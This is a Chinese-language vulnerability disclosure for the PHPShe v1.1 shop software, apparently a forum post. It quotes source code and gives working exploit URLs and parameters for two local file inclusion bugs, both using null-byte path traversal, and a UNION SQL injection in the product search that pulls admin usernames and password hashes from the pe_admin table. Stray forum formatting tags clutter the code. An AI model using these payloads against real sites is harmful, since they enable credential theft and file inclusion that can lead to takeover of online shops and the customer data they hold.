/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0x00 整体大概参数传输

[font=Verdana, Helvetica, Arial, sans-serif][size=12px]
[/size][/font]
//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
[font=Verdana, Helvetica, Arial, sans-serif][size=12px]

0x01 包含漏洞

[/size]
//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp:[url]http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00[/url]
[p=30, 2, left]

0x02 搜索注入

<code id="code2">[/p][p=30, 2, left]//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
[/p][p=30, 2, left][size=12px]</code>

0x03 包含漏洞2

<code id="code3">[/p][p=30, 2, left]//order.php[/p][p=30, 2, left]case 'pay':[/p][p=30, 2, left]
$order_id = pe_dbhold($_g_id);[/p][p=30, 2, left]
$cache_payway = cache::get('payway');[/p][p=30, 2, left]
foreach($cache_payway as $k => $v) {[/p][p=30, 2, left]
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);[/p][p=30, 2, left]
if ($k == 'bank') {[/p][p=30, 2, left]
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("r", "n", "t"), 'n', $cache_payway[$k]['payway_config']['bank_text']);[/p][p=30, 2, left]
}[/p][p=30, 2, left]
}[/p][p=30, 2, left]
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));[/p][p=30, 2, left]
!$order['order_id'] && pe_error('订单号错误...');[/p][p=30, 2, left]
if (isset($_p_pesubmit)) {[/p][p=30, 2, left]
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {[/p][p=30, 2, left]
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));[/p][p=30, 2, left]
foreach ($info_list as $v) {[/p][p=30, 2, left]
$order['order_name'] .= "{$v['product_name']};";
[/p][p=30, 2, left]
}[/p][p=30, 2, left]
echo '正在为您连接支付网站,请稍后...';[/p][p=30, 2, left]
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");[/p][p=30, 2, left]
}//当一切准备好的时候就可以进行"鸡肋包含了"[/p][p=30, 2, left]
else {[/p][p=30, 2, left]
pe_error('支付错误...');[/p][p=30, 2, left]
}[/p][p=30, 2, left]
}[/p][p=30, 2, left]
$seo = pe_seo('选择支付方式');[/p][p=30, 2, left]
include(pe_tpl('order_pay.html'));[/p][p=30, 2, left]
break;[/p][p=30, 2, left]}[/p][p=30, 2, left]//exp:[/p][p=30, 2, left]//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001[/p][p=30, 2, left]//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>

130412134063304fd0c6c0d832